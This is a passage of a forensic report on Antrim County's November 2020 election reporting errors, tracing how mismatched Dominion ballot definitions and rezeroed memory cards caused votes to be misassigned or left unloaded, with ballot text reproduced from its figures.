(ICP scanners can also store a digital image of each
ballot, but this capability was not enabled in Antrim.)
After polls close, the scanner prints a paper “poll tape”
showing the number of votes recorded for each choice,
which is returned to the county along with the memory
card [28]. The paper ballots are retained by the locality.

3. Reporting. County workers aggregate results using a
second EMS application [18]. It loads vote data from
the memory cards and stores it in the election project
database. The EMS generates a report containing results
for the entire county, which Antrim posts on its website.
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4. Post-election checks. Before the local Board of County
Canvassers certifies the results, it is supposed to man-
ually verify that the reported totals from the EMS match
the poll tapes from each scanner [29]. The state also
recently began conducting risk-limiting audits, in which
randomly sampled ballots are inspected to confirm the
reported outcome for particular contests [33].

In the November 2020 election, Antrim used 18 scanners
across 15 townships, shown in Table 2. Mancelona Township
used two scanners, and Elk Rapids and Milton townships
used separate scanners (“AV Boards”) for absentee ballots.
Each township had up to four ballot designs, for 43 in total.
There were 16,044 ballots recorded, a voter turnout of 73%.

To reconstruct what went wrong, I examined forensic im-
ages of the EMS and of the 18 scanner memory cards. Sev-
eral kinds of data were valuable for my analysis. One of the
most important was the EMS database. Democracy Suite uses
Microsoft SQL Server, and data for each election project is
maintained in a separate database. I analyzed the database
for the November 2020 election using Microsoft SQL Server
Management Studio and purpose-built Python scripts. In re-
constructing the sequence of events, I also made repeated use
of log files stored in the EMS and memory cards. For instance,
the election database records the actions that users perform
on the election project. Each memory card also contains a
detailed log of events that occurred on the scanner.

3 Discrepancies in County-Level Reporting
The first part of my investigation concerns errors that were
introduced in the course of aggregating and reporting results
from precincts across the county, including the major discrep-
ancies in the initial results posted on November 4. I recon-
struct the events that led to the errors, explain their causes, and
verify that they have been corrected. My analysis confirms
that the final reported results match the results obtained by
the individual scanners.

3.1 Preparations for the Election
The sequence of events that led to the reporting discrepan-
cies began long before the election, during the process of
designing the ballots. According to a timeline produced by
the county [2], it received initial proofs of the ballot designs
from ElectionSource on September 5. After a series of cor-
rections, county staff approved the designs on September 18
and received a flash drive from ElectionSource containing the
election package on September 29. County staff loaded the
election package into the EMS, copied the election definition
files for the scanners to memory cards, and distributed them to
localities for use in the election. The memory card logs show
that all townships loaded the cards into their scanners and
performed L&A testing in late October (see Appendix A).

Typically, the ballot designs and election definitions would
have remained unchanged from this point. However, accord-
ing to Antrim’s timeline, on October 5 and 7, the county

Scanner Election
Definition

Banks Revised (a)

Central Lake * Revised (b)

Chestonia Initial
Custer Initial
Echo Initial
Elk Rapids 1 Initial ✗

Elk Rapids AV Initial
Forest Home Initial
Helena Initial

Scanner Election
Definition

Jordan Initial
Kearney Initial
Mancelona 1 * Revised (c)

Mancelona 2 * Revised (c)

Milton 1 Initial ✗

Milton AV Initial
Star Initial
Torch Lake Initial
Warner * Initial ✗

Table 2: Scanner Election Definitions. Memory cards from only 4
of the 18 scanners matched the revised election definitions when I ex-
amined them. Notes: * Ballot design changed after initial definition;
(a) Initial and revised definitions identical; (b) Used initial definition
Nov. 3 but rescanned Nov. 6 with revised definition; (c) Revised defi-
nition loaded before Nov. 3; ✗ EMS unable to load results from card.

alerted ElectionSource about errors that had been identified
in three of the ballot designs. ElectionSource corrected them
and provided a revised election package on October 23, which
Antrim loaded into its EMS that day.

At this point, county staff should have updated the memory
cards for every scanner to ensure that their election defini-
tions matched the EMS’s. In fact, the only scanners that were
updated before election day were the two in Mancelona Town-
ship. This would prove to be a consequential mistake.

Ballot Design Changes I extracted the initial and revised
election packages from the EMS image. Among other files,
each package contains a PDF of each ballot design. I con-
firmed that there were differences in exactly three ballot de-
signs, as illustrated in Figure 1. They are:
Central Lake, Precinct 1V. On the ballot for Central Lake

Village, the school board contest changed from Ellsworth
School District to Central Lake School District. The
number of choices remained the same, but the contest
changed from vote-for-two to vote-for-three, necessitat-
ing an added write-in blank. This shifted the position of
the contest below, State Proposal 20-1, down by one row.

Mancelona, Precinct 1V. On the Mancelona Village ballot,
a candidate (Eugene K. Kerr) was added to the Village
Trustee contest. This contest changed from vote-for-
three to vote-for-two, so there was one fewer write-in
blank and no change to the position of any contest.

Warner, Precinct 1BF. In part of Warner Township, a contest
was added for the Boyne Falls Public Schools Sinking
Fund Millage Proposal. The new contest appears at the
end of the second column on the final page of the ballot,
so no other contest changed position.

Scanner Election Definitions The election packages also
contain election definition files to be copied to each scanner’s
memory card. I compared the election definition files that
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Township

Nonpartisan Section
Judicial

Intermediate School District

Intermediate School District

Village

Local School District

Proposal Section
State

State

Village

Clerk
Vote for not more than 1

Judy Kosloski
Republican

Treasurer
Vote for not more than 1

Andrew Smith
Republican

Trustee
Vote for not more than 2

Patrick Hanlon
Republican

Pat Marshall
Republican

Justice of Supreme Court
Vote for not more than 2

Mary Kelly

Bridget Mary McCormack
Justice of Supreme Court
Kerry Lee Morgan

Katherine Mary Nepton

Brock Swartzle

Elizabeth M. Welch

Susan L. Hubbard

Judge of Court of Appeals
4th District

Incumbent Position
Vote for not more than 2

Michael J. Kelly
Judge of Court of Appeals

Amy Ronayne Krause
Judge of Court of Appeals

Judge of Court of Appeals
4th District

Non-Incumbent Position
Vote for not more than 1

Michelle Rick

Judge of Circuit Court
13th Circuit

Incumbent Position
Vote for not more than 1

Kevin A. Elsenheimer
Judge of Circuit Court

Board Member
Charlevoix-Emmet Intermediate 

School District
6 Year Term

Vote for not more than 3

Thelma A. Chellis

Jean E. Frentz

Mary P. Jason

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2024

Vote for not more than 1

Larry Cassidy

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2022

Vote for not more than 1

President
Village of Central Lake
Vote for not more than 1

Rob Tyler

Trustee
Village of Central Lake
Vote for not more than 3

Bill Chapman

John Michael Ring

Board Member
Ellsworth Schools
Vote for not more than 2

Mark Edward Groenink

Christopher Wallace

Proposal 20-1
A proposed constitutional amendment 
to allow money from oil and gas mining 
on state-owned lands to continue to be 

collected in state funds for land 
protection and creation and 

maintenance of parks, nature areas, and 
public recreation facilities; and to 
describe how money in those state 

funds can be spent

This proposed constitutional amendment would:

Allow the State Parks Endowment Fund to ·

continue receiving money from sales of oil 
and gas from state-owned lands to 
improve, maintain and purchase land for 
State parks, and for Fund administration, 
until its balance reaches $800,000,000.

Require subsequent oil and gas revenue ·

from state-owned lands to go into the 
Natural Resources Trust Fund.

Require at least 20% of Endowment Fund ·

annual spending go toward State park 
improvement.

Require at least 25% of Trust Fund annual ·

spending go toward parks and public 
recreation areas and at least 25% toward 
land conservation.

Should this proposal be adopted? 

Yes

No

Proposal 20-2
A proposed constitutional amendment 
to require a search warrant in order to 
access a person’s electronic data or 

electronic communications

This proposed constitutional amendment would:

Prohibit unreasonable searches or ·

seizures of a person’s electronic data and 
electronic communications.
Require a search warrant to access a ·

person’s electronic data or electronic 
communications, under the same 
conditions currently required for the 
government to obtain a search warrant to 
search a person’s house or seize a 
person’s things. 

Should this proposal be adopted?

Yes

No

A Proposed Initiated Ordinance to 
Authorize One (1) Marihuana Retailer 
Establishment Within the Village of 

Central Lake

This ordinance would:

Authorize one (1) marihuana retailer ·

establishment within the Village of Central 
Lake

 
Require a person to obtain a permit from ·

the Village before operating the 
marihuana retailer establishment within 
the Village.  The permit would be valid for 
one calendar (1) year and subject to 
renewal annually.  The permit must be 
displayed in a conspicuous location in the 
building.

 
Require, if more than one application is ·

submitted for the marihuana retail 
establishment, that the Village Council 
rank the applications based on the criteria 
specified in the ordinance.

 
Require that marihuana retail ·

establishment be located in the 
appropriate zoning district by amendment 
of the Village of Central Lake Zoning 
Ordinance.

 
Allow an issued permit from the Village to ·

be transferred to another location within 
the Village and to a different individual or 
entity upon written approval from the 
Village Clerk and the state, provided the 
different location is within an allowed 
zoning district and the different individual 
or entity complies with the requirements of 
the ordinance.

Impose a fee to help defray administrative ·

and enforcement costs for the initial permit 
and each renewal permit, but not to 
exceed $5,000 each.

 
Allow revocation or suspension of an ·

issued permit by the Village Clerk for any 
violation of the ordinance, after written 
notice and public hearing.

 
Make a violation of the ordinance a ·

municipal civil infraction, subject to a fine 
of not more than $500.

 
Should this ordinance be enacted?

Yes

No

VOTE BOTH FRONT AND BACK OF BALLOT
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Township

Nonpartisan Section
Judicial

Intermediate School District

Intermediate School District

Village

Local School District

Proposal Section
State

State

Village

Clerk
Vote for not more than 1

Judy Kosloski
Republican

Treasurer
Vote for not more than 1

Andrew Smith
Republican

Trustee
Vote for not more than 2

Patrick Hanlon
Republican

Pat Marshall
Republican

Justice of Supreme Court
Vote for not more than 2

Mary Kelly

Bridget Mary McCormack
Justice of Supreme Court
Kerry Lee Morgan

Katherine Mary Nepton

Brock Swartzle

Elizabeth M. Welch

Susan L. Hubbard

Judge of Court of Appeals
4th District

Incumbent Position
Vote for not more than 2

Michael J. Kelly
Judge of Court of Appeals

Amy Ronayne Krause
Judge of Court of Appeals

Judge of Court of Appeals
4th District

Non-Incumbent Position
Vote for not more than 1

Michelle Rick

Judge of Circuit Court
13th Circuit

Incumbent Position
Vote for not more than 1

Kevin A. Elsenheimer
Judge of Circuit Court

Board Member
Charlevoix-Emmet Intermediate 

School District
6 Year Term

Vote for not more than 3

Thelma A. Chellis

Jean E. Frentz

Mary P. Jason

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2024

Vote for not more than 1

Larry Cassidy

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2022

Vote for not more than 1

President
Village of Central Lake
Vote for not more than 1

Rob Tyler

Trustee
Village of Central Lake
Vote for not more than 3

Bill Chapman

John Michael Ring

Board Member
Central Lake Schools
Vote for not more than 3

Melanie Eckhardt

Keith Shafer

Proposal 20-1
A proposed constitutional amendment 
to allow money from oil and gas mining 
on state-owned lands to continue to be 

collected in state funds for land 
protection and creation and 

maintenance of parks, nature areas, and 
public recreation facilities; and to 
describe how money in those state 

funds can be spent

This proposed constitutional amendment would:

Allow the State Parks Endowment Fund to ·

continue receiving money from sales of oil 
and gas from state-owned lands to 
improve, maintain and purchase land for 
State parks, and for Fund administration, 
until its balance reaches $800,000,000.

Require subsequent oil and gas revenue ·

from state-owned lands to go into the 
Natural Resources Trust Fund.

Require at least 20% of Endowment Fund ·

annual spending go toward State park 
improvement.

Require at least 25% of Trust Fund annual ·

spending go toward parks and public 
recreation areas and at least 25% toward 
land conservation.

Should this proposal be adopted? 

Yes

No

Proposal 20-2
A proposed constitutional amendment 
to require a search warrant in order to 
access a person’s electronic data or 

electronic communications

This proposed constitutional amendment would:

Prohibit unreasonable searches or ·

seizures of a person’s electronic data and 
electronic communications.
Require a search warrant to access a ·

person’s electronic data or electronic 
communications, under the same 
conditions currently required for the 
government to obtain a search warrant to 
search a person’s house or seize a 
person’s things. 

Should this proposal be adopted?

Yes

No

A Proposed Initiated Ordinance to 
Authorize One (1) Marihuana Retailer 
Establishment Within the Village of 

Central Lake

This ordinance would:

Authorize one (1) marihuana retailer ·

establishment within the Village of Central 
Lake

 
Require a person to obtain a permit from ·

the Village before operating the 
marihuana retailer establishment within 
the Village.  The permit would be valid for 
one calendar (1) year and subject to 
renewal annually.  The permit must be 
displayed in a conspicuous location in the 
building.

 
Require, if more than one application is ·

submitted for the marihuana retail 
establishment, that the Village Council 
rank the applications based on the criteria 
specified in the ordinance.

 
Require that marihuana retail ·

establishment be located in the 
appropriate zoning district by amendment 
of the Village of Central Lake Zoning 
Ordinance.

 
Allow an issued permit from the Village to ·

be transferred to another location within 
the Village and to a different individual or 
entity upon written approval from the 
Village Clerk and the state, provided the 
different location is within an allowed 
zoning district and the different individual 
or entity complies with the requirements of 
the ordinance.

Impose a fee to help defray administrative ·

and enforcement costs for the initial permit 
and each renewal permit, but not to 
exceed $5,000 each.

 
Allow revocation or suspension of an ·

issued permit by the Village Clerk for any 
violation of the ordinance, after written 
notice and public hearing.

 
Make a violation of the ordinance a ·

municipal civil infraction, subject to a fine 
of not more than $500.

 
Should this ordinance be enacted?

Yes

No

VOTE BOTH FRONT AND BACK OF BALLOT
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(a) Central Lake, Precinct 1V

Township

Nonpartisan Section
Judicial

Village

Local School District

Proposal Section
State

Clerk
Vote for not more than 1

Michael Biehl
Republican

Treasurer
Vote for not more than 1

Jessie Ayoub
Republican

Trustee
Vote for not more than 2

Yousef M. Jabara
Democrat

Rod Vesey
Republican

Donna Gundle-Krieg
Libertarian

Constable
Vote for not more than 1

Linden M. Bielecki
Republican

Justice of Supreme Court
Vote for not more than 2

Kerry Lee Morgan

Katherine Mary Nepton

Brock Swartzle

Elizabeth M. Welch

Susan L. Hubbard

Mary Kelly

Bridget Mary McCormack
Justice of Supreme Court

Judge of Court of Appeals
4th District

Incumbent Position
Vote for not more than 2

Michael J. Kelly
Judge of Court of Appeals

Amy Ronayne Krause
Judge of Court of Appeals

Judge of Court of Appeals
4th District

Non-Incumbent Position
Vote for not more than 1

Michelle Rick

Judge of Circuit Court
13th Circuit

Incumbent Position
Vote for not more than 1

Kevin A. Elsenheimer
Judge of Circuit Court

Trustee
Village of Mancelona
Vote for not more than 3

Aaron Biehl

Steven Elder

Board Member
Mancelona Schools
Vote for not more than 3

Kim Musselman

Tom Ross

Burt Thompson

Proposal 20-1
A proposed constitutional amendment 
to allow money from oil and gas mining 
on state-owned lands to continue to be 

collected in state funds for land 
protection and creation and 

maintenance of parks, nature areas, and 
public recreation facilities; and to 
describe how money in those state 

funds can be spent

This proposed constitutional amendment would:

Allow the State Parks Endowment Fund to ·

continue receiving money from sales of oil 
and gas from state-owned lands to 
improve, maintain and purchase land for 
State parks, and for Fund administration, 
until its balance reaches $800,000,000.

Require subsequent oil and gas revenue ·

from state-owned lands to go into the 
Natural Resources Trust Fund.

Require at least 20% of Endowment Fund ·

annual spending go toward State park 
improvement.

Require at least 25% of Trust Fund annual ·

spending go toward parks and public 
recreation areas and at least 25% toward 
land conservation.

Should this proposal be adopted? 

Yes

No

Proposal 20-2
A proposed constitutional amendment 
to require a search warrant in order to 
access a person’s electronic data or 

electronic communications

This proposed constitutional amendment would:

Prohibit unreasonable searches or ·

seizures of a person’s electronic data and 
electronic communications.
Require a search warrant to access a ·

person’s electronic data or electronic 
communications, under the same 
conditions currently required for the 
government to obtain a search warrant to 
search a person’s house or seize a 
person’s things. 

Should this proposal be adopted?

Yes

No

VOTE BOTH FRONT AND BACK OF BALLOT
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Township

Nonpartisan Section
Judicial

Village

Local School District

Proposal Section
State

Clerk
Vote for not more than 1

Michael Biehl
Republican

Treasurer
Vote for not more than 1

Jessie Ayoub
Republican

Trustee
Vote for not more than 2

Yousef M. Jabara
Democrat

Rod Vesey
Republican

Donna Gundle-Krieg
Libertarian

Constable
Vote for not more than 1

Linden M. Bielecki
Republican

Justice of Supreme Court
Vote for not more than 2

Kerry Lee Morgan

Katherine Mary Nepton

Brock Swartzle

Elizabeth M. Welch

Susan L. Hubbard

Mary Kelly

Bridget Mary McCormack
Justice of Supreme Court

Judge of Court of Appeals
4th District

Incumbent Position
Vote for not more than 2

Michael J. Kelly
Judge of Court of Appeals

Amy Ronayne Krause
Judge of Court of Appeals

Judge of Court of Appeals
4th District

Non-Incumbent Position
Vote for not more than 1

Michelle Rick

Judge of Circuit Court
13th Circuit

Incumbent Position
Vote for not more than 1

Kevin A. Elsenheimer
Judge of Circuit Court

Trustee
Village of Mancelona
Vote for not more than 2

Aaron Biehl

Steven Elder

Eugene K. Kerr

Board Member
Mancelona Schools
Vote for not more than 3

Kim Musselman

Tom Ross

Burt Thompson

Proposal 20-1
A proposed constitutional amendment 
to allow money from oil and gas mining 
on state-owned lands to continue to be 

collected in state funds for land 
protection and creation and 

maintenance of parks, nature areas, and 
public recreation facilities; and to 
describe how money in those state 

funds can be spent

This proposed constitutional amendment would:

Allow the State Parks Endowment Fund to ·

continue receiving money from sales of oil 
and gas from state-owned lands to 
improve, maintain and purchase land for 
State parks, and for Fund administration, 
until its balance reaches $800,000,000.

Require subsequent oil and gas revenue ·

from state-owned lands to go into the 
Natural Resources Trust Fund.

Require at least 20% of Endowment Fund ·

annual spending go toward State park 
improvement.

Require at least 25% of Trust Fund annual ·

spending go toward parks and public 
recreation areas and at least 25% toward 
land conservation.

Should this proposal be adopted? 

Yes

No

Proposal 20-2
A proposed constitutional amendment 
to require a search warrant in order to 
access a person’s electronic data or 

electronic communications

This proposed constitutional amendment would:

Prohibit unreasonable searches or ·

seizures of a person’s electronic data and 
electronic communications.
Require a search warrant to access a ·

person’s electronic data or electronic 
communications, under the same 
conditions currently required for the 
government to obtain a search warrant to 
search a person’s house or seize a 
person’s things. 

Should this proposal be adopted?

Yes

No

VOTE BOTH FRONT AND BACK OF BALLOT
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(b) Mancelona, Precinct 1V

Township

Nonpartisan Section
Judicial

Intermediate School District

Intermediate School District

Local School District

Proposal Section
State

State

Clerk
Vote for not more than 1

Pamela Zaremba
Republican

Treasurer
Vote for not more than 1

Lori A. Herman
Republican

Trustee
Vote for not more than 2

Linda M. Franckowiak
Republican

Robert K. Herman
Republican

Justice of Supreme Court
Vote for not more than 2

Mary Kelly

Bridget Mary McCormack
Justice of Supreme Court
Kerry Lee Morgan

Katherine Mary Nepton

Brock Swartzle

Elizabeth M. Welch

Susan L. Hubbard

Judge of Court of Appeals
4th District

Incumbent Position
Vote for not more than 2

Michael J. Kelly
Judge of Court of Appeals

Amy Ronayne Krause
Judge of Court of Appeals

Judge of Court of Appeals
4th District

Non-Incumbent Position
Vote for not more than 1

Michelle Rick

Judge of Circuit Court
13th Circuit

Incumbent Position
Vote for not more than 1

Kevin A. Elsenheimer
Judge of Circuit Court

Board Member
Charlevoix-Emmet Intermediate 

School District
6 Year Term

Vote for not more than 3

Thelma A. Chellis

Jean E. Frentz

Mary P. Jason

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2024

Vote for not more than 1

Larry Cassidy

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2022

Vote for not more than 1

Board Member
Boyne Falls Public Schools

6 Year Term
Vote for not more than 3

Laura Brunmeier

William Cousineau

Karena E. Haug

Barbara Loper

Board Member
Boyne Falls Schools

Partial Term Ending 12/31/2024
Vote for not more than 1

Proposal 20-1
A proposed constitutional amendment 
to allow money from oil and gas mining 
on state-owned lands to continue to be 

collected in state funds for land 
protection and creation and 

maintenance of parks, nature areas, and 
public recreation facilities; and to 
describe how money in those state 

funds can be spent

This proposed constitutional amendment would:

Allow the State Parks Endowment Fund to ·

continue receiving money from sales of oil 
and gas from state-owned lands to 
improve, maintain and purchase land for 
State parks, and for Fund administration, 
until its balance reaches $800,000,000.

Require subsequent oil and gas revenue ·

from state-owned lands to go into the 
Natural Resources Trust Fund.

Require at least 20% of Endowment Fund ·

annual spending go toward State park 
improvement.

Require at least 25% of Trust Fund annual ·

spending go toward parks and public 
recreation areas and at least 25% toward 
land conservation.

Should this proposal be adopted? 

Yes

No

Proposal 20-2
A proposed constitutional amendment 
to require a search warrant in order to 
access a person’s electronic data or 

electronic communications

This proposed constitutional amendment would:

Prohibit unreasonable searches or ·

seizures of a person’s electronic data and 
electronic communications.
Require a search warrant to access a ·

person’s electronic data or electronic 
communications, under the same 
conditions currently required for the 
government to obtain a search warrant to 
search a person’s house or seize a 
person’s things. 

Should this proposal be adopted?

Yes

No

VOTE BOTH FRONT AND BACK OF BALLOT
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Township

Nonpartisan Section
Judicial

Intermediate School District

Intermediate School District

Local School District

Proposal Section
State

State

Local School District

Clerk
Vote for not more than 1

Pamela Zaremba
Republican

Treasurer
Vote for not more than 1

Lori A. Herman
Republican

Trustee
Vote for not more than 2

Linda M. Franckowiak
Republican

Robert K. Herman
Republican

Justice of Supreme Court
Vote for not more than 2

Mary Kelly

Bridget Mary McCormack
Justice of Supreme Court
Kerry Lee Morgan

Katherine Mary Nepton

Brock Swartzle

Elizabeth M. Welch

Susan L. Hubbard

Judge of Court of Appeals
4th District

Incumbent Position
Vote for not more than 2

Michael J. Kelly
Judge of Court of Appeals

Amy Ronayne Krause
Judge of Court of Appeals

Judge of Court of Appeals
4th District

Non-Incumbent Position
Vote for not more than 1

Michelle Rick

Judge of Circuit Court
13th Circuit

Incumbent Position
Vote for not more than 1

Kevin A. Elsenheimer
Judge of Circuit Court

Board Member
Charlevoix-Emmet Intermediate 

School District
6 Year Term

Vote for not more than 3

Thelma A. Chellis

Jean E. Frentz

Mary P. Jason

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2024

Vote for not more than 1

Larry Cassidy

Board Member
Charlevoix-Emmet Intermediate 

School District
Partial Term Ending 12/31/2022

Vote for not more than 1

Board Member
Boyne Falls Public Schools

6 Year Term
Vote for not more than 3

Laura Brunmeier

William Cousineau

Karena E. Haug

Barbara Loper

Board Member
Boyne Falls Schools

Partial Term Ending 12/31/2024
Vote for not more than 1

Proposal 20-1
A proposed constitutional amendment 
to allow money from oil and gas mining 
on state-owned lands to continue to be 

collected in state funds for land 
protection and creation and 

maintenance of parks, nature areas, and 
public recreation facilities; and to 
describe how money in those state 

funds can be spent

This proposed constitutional amendment would:

Allow the State Parks Endowment Fund to ·

continue receiving money from sales of oil 
and gas from state-owned lands to 
improve, maintain and purchase land for 
State parks, and for Fund administration, 
until its balance reaches $800,000,000.

Require subsequent oil and gas revenue ·

from state-owned lands to go into the 
Natural Resources Trust Fund.

Require at least 20% of Endowment Fund ·

annual spending go toward State park 
improvement.

Require at least 25% of Trust Fund annual ·

spending go toward parks and public 
recreation areas and at least 25% toward 
land conservation.

Should this proposal be adopted? 

Yes

No

Proposal 20-2
A proposed constitutional amendment 
to require a search warrant in order to 
access a person’s electronic data or 

electronic communications

This proposed constitutional amendment would:

Prohibit unreasonable searches or ·

seizures of a person’s electronic data and 
electronic communications.
Require a search warrant to access a ·

person’s electronic data or electronic 
communications, under the same 
conditions currently required for the 
government to obtain a search warrant to 
search a person’s house or seize a 
person’s things. 

Should this proposal be adopted?

Yes

No

Boyne Falls Public Schools Sinking 
Fund Millage Proposal

Shall the limitation on the amount of taxes 
which may be assessed against all property in 
Boyne Falls Public Schools, Charlevoix and 
Antrim Counties, Michigan, be increased by 
and the board of education be authorized to 
levy not to exceed 2 mills ($2.00 on each 
$1,000 of taxable valuation) for a period of 10 
years, 2020 to 2029, inclusive, to create a 
sinking fund for the construction or repair of 
school buildings, for school security 
improvements, for the acquisition or upgrading 
of technology and all other purposes authorized 
by law; the estimate of the revenue the school 
district will collect if the millage is approved and 
levied in 2020 is approximately $353,750?

Yes

No

VOTE BOTH FRONT AND BACK OF BALLOT
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(c) Warner, Precinct 1BF

Figure 1: Three ballot design were corrected between the initial election package (left column) and the revised package (center column). The
differences are highlighted in red (right column). These changes initiated a sequence of events that led to the publication of erroneous results.
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were present on the memory cards to those in each of the
two election package versions. The results are summarized in
Table 2. Every card matched either the initial or the revised
election package, indicating that the election definitions on the
cards were not otherwise altered. Only four cards matched the
revised election package: Central Lake, because its card was
reinitialized after the election in order to rescan the ballots;
Banks, because its election definitions from both packages
are identical, for reasons that will become clear; and the two
cards from Mancelona, consistent with Antrim’s assertion that
these were the only cards updated before the election.

3.2 Events on Election Night
On election night, November 3, county staff began loading
results into the EMS as memory cards arrived from around the
county. I reconstructed events that night from the EMS log.

The first card loaded successfully at 9:49 p.m. The earliest
sign of trouble occurred when loading the next card, from
Warner Township, at 10:31 p.m.: despite multiple attempts,
the EMS refused to accept the data. After successfully load-
ing two further cards, at 11:03 p.m. a staffer began manually
entering the Warner results from the poll tape. At 12:28 a.m.,
the EMS was unable to load any votes from the card from Elk
Rapids Precinct 1, although there was no problem with the
Elk Rapids AV Board card. At 12:39 a.m., the EMS similarly
was unable to load votes from the card from Milton Precinct 1
even though the Milton Township AV Board card had loaded
normally. The EMS operator manually entered the results
from these scanners. In all, 15 of the 18 cards loaded success-
fully, and three failed to load and were entered manually (see
Table 2). The last card was loaded at 3:44 a.m., and the EMS
generated the initial results report at 4:09 a.m. This report
was printed, scanned, and uploaded to the county website [3].

Antrim received the first reports of errors in the results
early the next morning, around 8:15 a.m. on November 4 [2].
The county confirmed that the totals were widely inconsistent
with the poll tapes, took down the results, and began manually
entering results from the poll tapes for affected scanners.

3.3 Representation of Ballots and Votes
Antrim County and the State Bureau of Elections have ex-
plained that the major discrepancies in the initial results were
caused by the use of mismatched election definitions on the
EMS and on some of the scanners [34]. To verify this, I first re-
verse engineered how Democracy Suite internally represents
ballot designs, voted ballots, and election results.

Election workers use the EMS to define contests and as-
sociated choices (e.g., candidates), then assign each contest
to one or more polling districts. Some precincts consist of
only one district, but others are split into multiple polling
districts with different local contests, e.g., if portions of the
precinct fall within different school districts. Based on this
data, the EMS automatically generates the election definition
and ballot design for each polling district [17].

Internally, the EMS represents the structure of the ballots
using several database tables. Each row in the BallotManifesta-
tion table corresponds to the ballot design used in a particular
polling district, each row in the ContestManifestation table
represents an instance of a contest appearing on a particular
ballot design, and each row in the ChoiceManifestation table
represents an instance of a choice appearing on a particular
ballot design. Every row in these tables is associated with a
numeric ID. When the EMS generates election definitions, it
assigns sequential IDs to every ballot design, every contest
instance, and every choice instance, across all polling districts.
These ID sequences continue from one polling district to the
next, in alphabetical order.

Each memory card is loaded with election definition data
corresponding to the ballot designs used in that polling place.
For each ballot design, the data specifies the coordinates of
every voting target and the IDs of the corresponding contest
instance and choice instance. It also includes the names of the
contests and choices and other data necessary for the scanner
to tally the votes and produce a poll tape.

The memory cards record results in two ways. First, each
card contains a file with a name ending in _TOTALS.DVD
that stores the scanner’s tallies. A second file, with a name
ending in _DETAIL.DVD, stores the scanner’s interpretation of
each ballot, which is known as a cast-vote record or CVR. It
records whether or not the scanner detected a mark for each
voting target on each contest on each ballot. These files do
not contain the names of the contests and candidates. Instead,
each result or selection is associated with the IDs of the corre-
sponding ballot design, contest instance, and choice instance
from the scanner’s copy of the election definition.

When loading results from the memory card, the EMS in-
terprets them using its copy of the election definition. As
long as the memory card and the EMS use identical elec-
tion definitions, the results should be read correctly—as will
normally be the case when scanners are properly configured.
However, the Dominion EMS does not verify that they are
identical. When they are different, as was the case with most
of Antrim’s scanners, this can lead to inaccurate results.

3.4 Effects of the Ballot Design Changes
To perform the last-minute ballot design corrections, Elec-
tionSource modified the election project and regenerated the
ballot layouts and election definitions. I followed the same
steps, and the only indication given by the EMS software that
the changes might cause problems was a notice that, “All pre-
viously created and deployed election files will be unusuable.”
The software did not warn that use of the old files could poten-
tially lead to inaccurate results. Antrim did use the previously
deployed election definition files in 16 of the 18 scanners.

The way that the election definitions were regenerated had
the side effect of assigning different choice instance IDs to
most voting targets throughout the county, while leaving the
ballot design IDs and most of the contest instance IDs the
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same. This rendered the revised election definitions subtly
incompatible with those that had already been deployed.

Correcting the school board contest on the Central Lake
1V ballot required adding a write-in blank. This caused the
choice instance IDs to increase by one in later contests on that
ballot and in all contests for alphabetically later townships.1

These changes, coupled with the county’s failure to update
the memory cards in most scanners, caused the major errors.

Figure 2 illustrates what went wrong. Scanners using the
initial definition recorded votes to the memory cards using
the initial choice instance IDs. The EMS interpreted the data
using the revised choice instance IDs. Where these differed,
the EMS assigned the votes to the wrong candidates. If the
voter marked the first choice in an affected contest, the choice
instance ID was no longer associated with the same contest
instance ID under the revised election definition, and the EMS
silently ignored the selection. A mark for any other choice
was interpreted by the EMS as a mark for the choice above it.

The changes to the other two ballot designs were less signif-
icant. The correction in Mancelona Township left the number
of choices the same, so it did not change the ID sequence. The
added contest in Warner Township incremented later choice
instance and contest instance IDs, but since Warner was the
last township alphabetically and its results were entered man-
ually on election night, there was no effect on reporting.

3.5 Why Cards Failed to Load
To understand what the EMS operator saw on election night, I
loaded the memory card data using a copy of the software. The
Warner card caused a generic error, “Failed to load [filename].”
The Elk Rapids 1 and Milton 1 cards caused a warning,
“Result file [filename] has not been closed. Result file will be
loaded,” although no votes were loaded from either card. For
all other cards, the EMS reported, “Result file [filename] was
loaded successfully.” This appeared even for cards which were
loaded incorrectly due to the mismatched election definitions.

I investigated why the three cards failed to load. Warner
was uniquely affected by the change to fix the missing contest,
which resulted in the card containing some votes recorded
under old contest instance IDs that were no longer associated
with the same ballot ID under the revised election definition.
The EMS detected this anomaly and refused to load the card.

The Elk Rapids 1 and Milton 1 memory cards failed to load
for a different reason: they did not contain any election results!
To determine why, I examined the scanner logs on those cards
(see Figure 6 in the appendix). The logs show that on election
night, after closing the polls and printing poll tapes, workers
in both townships commanded the scanners to “rezero” their
memory cards, discarding the results and resetting the cards
to a pre-election state. Rezeroing the cards is a significant
deviation from normal procedures. Although the poll tape
contains a record of the scanner’s totals, manually entering the

1This explains why the election definition for Banks Township did not
change: “Banks” comes before “Central Lake” in alphabetical sequence.

Text

Central Lake, Precinct 1V
Initial Ballot Definition

Central Lake, Precinct 1V
Revised Ballot Definition
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(1) The Central Lake, Precinct 1V 
ballot was modified to reflect the correct 
school board contest. This necessitated 

inserting an additional write-in blank. 

(2) The insertion 
incremented the 

ID number of every 
subsequent voting target.

(4) A scanner using the 
initial definition records 

this Trump vote as ID 970.
The EMS, using the 

revised definition, reports 
ID 970 as a vote for Biden.

(3) In alphabetically later 
townships, the change in 
Central Lake incremented 

the ID for every choice.

Figure 2: Explaining the Major Reporting Discrepancy. The EMS
assigns sequential IDs to voting targets across every ballot style.
Correcting the ballot design for Central Lake Village added a write-in
blank, which incremented the ID of every target on later contests and
ballot styles. Most of Antrim’s scanners were not updated, so they
used the old IDs to record votes. When the EMS interpreted these
votes using the new IDs, it assigned them to the wrong candidates.

results is a laborious (and error-prone) process. Moreover, the
data on the memory card is the primary electronic record of
the votes and an important source of evidence if the integrity
of the physical ballots is called into question.

It is noteworthy that workers in separate polling places
rezeroed the memory cards almost simultaneously. Further-
more, it was not the first time that Antrim poll workers made
this mistake. I found that during the previous election, in Au-
gust 2020, the Elk Rapids AV card was rezeroed and entered
manually. This pattern of lapses suggests that there may be a
